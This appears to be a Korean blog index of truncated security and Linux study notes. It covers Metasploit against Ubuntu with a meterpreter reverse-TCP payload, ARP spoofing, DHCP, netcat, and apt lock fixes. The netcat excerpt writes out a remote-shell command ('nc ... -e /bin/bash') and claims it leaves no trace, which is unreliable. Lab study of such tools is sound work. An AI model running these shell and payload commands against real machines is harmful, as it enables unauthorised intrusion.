1. 메타스플로이트(metasploit)를 이용하여 우분투에 침투할 것이다. 메타스플로이트란 보안전문가용으로 개발되었으며, 테스트 목적으로 시스템을 해킹하기 위하여 개발되었다. 모의 해킹 또는 침투 테스트(Penetration Testing)을 위한 필수 도구로 알려져 있다. KALI 리눅스에 기본적으로 설치 되어있다. 2. Ubuntu 18 실습 Metasploit 실행 명령어 # msfconsole Metasploit을 실행한다. # show options Metasploit의 명령어 옵션을 확인 할 수 있다. 리눅스 계열에서 payload를 만들기 위한 확장자명은 다음과 같다. show options에서 확인 할 수 있다. 177- linux/x64/meterpreter_reverse_tcp man..

1. ARP(Address Resolution Protocol)란? • IP주소를 MAC주소로 변환해주는 프로토콜이다. (내부통신용) • IP 주소와 이에 해당하는 물리적 네트워크 주소 정보는 각 IP 호스트의 ARP 캐시라 불리는 메모리에 테이블 형태로 저장된 후 패킷 전송 시 사용 된다. •cmd에서 arp -a 명령어를 통하여 IP 주소와 MAC 주소를 확인할 수 있다. (리눅스의 경우 arp) •ARP Cache Table은 MAC 주소와 IP 주소를 보유하고 있는 테이블로, 정보 저장 시간 일반적으로5분이다. * RARP는 Reverse Address Resolution Protocol 로 ARP의 반대 역할을 한다. (MAC 주소 값으로 IP 주소 값을 알아내는 프로토콜) 2. ARP Spoo..

Dynamic Host Configuration Protocol UDP 67(Server),68(Client) 번으로 동작 RFC 2131에 정의되어 있다. ----------------------------------------------------------------------------------------------------- 서버와 클라이언트가 정상적으로 작동하는 경우 4단계 1단계(Client -> Server) DISCOVER : 사용가능한 DHCP 서버를 찾기 위한 클라이언트 브로드캐스트(아이피 요청) 2단계(Server -> Client) OFFER : DHCP Discover에 대한 서버로부터 클라이언트에 대한 응답(아이피 제안) 3단계(Client -> Server) REQUEST..

server :nc -lvp [포트번호: 10020] client :nc 192.168.120.126[IP] 10020[포트번호] server :nc -lvp [포트번호: 10020] client : nc 192.168.120.126 10020 -e /bin/bash 상대방 제어판을 가져온 것 상대방 아이피와 포트번호를 알고 있다면 상대방의 컴퓨터 내로 진입할 수 있다. 흔적은 남지 않는다.

리눅스 배포판 redhat debian enterprise server debian fedora ubuntu centos RPM DEB 패키지 설치 yum/ rpm apt-get/ dpkg rpm -qa dpkg -l .rpm .deb 확장자

apt-get update error 1. rm -rf /var/lib/dpkg/lock 2. rm -rf /var/cache/apt/archives/lock 3. apt-get update error vi /etc/apt/sources.list deb http://httpredir.debian.org/debian jessie main non-free contrib 추가 1. rm -rf /var/lib/apt/lists/lock 2. rm -rf /var/cache/apt/archives/lock 3. rm -rf /var/lib/dpkg/lock* 4. dpkg --configure -a 5. apt-get update apt-get upgrade apt-get dist-upgrade 추가설치 한글설..